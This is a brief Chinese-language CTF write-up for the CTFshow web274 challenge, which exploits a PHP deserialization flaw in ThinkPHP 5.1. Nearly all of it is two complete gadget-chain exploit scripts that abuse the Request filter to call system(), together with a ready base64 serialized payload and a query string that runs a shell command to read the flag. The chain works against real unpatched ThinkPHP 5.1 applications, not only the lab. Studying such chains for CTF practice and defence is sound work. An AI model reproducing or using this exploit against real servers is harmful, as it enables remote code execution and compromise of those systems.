CTFshow 反序列化 web274

---

源码

源码中提示反序列化入口

---

思路

去网上搜下ThinkPHP 5.1相关的漏洞

题解

找到2个exp

第一个

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        //GET传参 shell
        $this->data = ['shell' => new Request()];
        $this->append = ['shell' => []];
    }
}
class Request{
    protected $filter;
    protected $hook = [];
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根，如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ['var_pjax' => 'shell'];
        $this->hook = ['visible' => [$this,'isPjax']];
    }
}
namespace think\process\pipes;
use think\model\Pivot;

class Windows{
    private $files = [];
    public function __construct(){
        $this->files = [new Pivot()];
    }
}

namespace think\model;
use think\Model;

class Pivot extends Model{
}

use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

第二个

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
         //GET传参 shell
        $this->data = ['shell' => new Request()];
        $this->append = ['shell' => []];
    }
}
class Request{
    protected $filter;
    protected $hook = [];
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根，如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ['var_ajax' => 'shell'];
        $this->hook = ['visible' => [$this,'isAjax']];
    }
}
namespace think\process\pipes;
use think\model\Pivot;

class Windows{
    private $files = [];
    public function __construct(){
        $this->files = [new Pivot()];
    }
}

namespace think\model;
use think\Model;

class Pivot extends Model{
}

use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

?data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJzaGVsbCI7YTowOnt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NToic2hlbGwiO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo3O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjU6InNoZWxsIjt9fX19fX0=&shell=tac /f*

---

总结

水题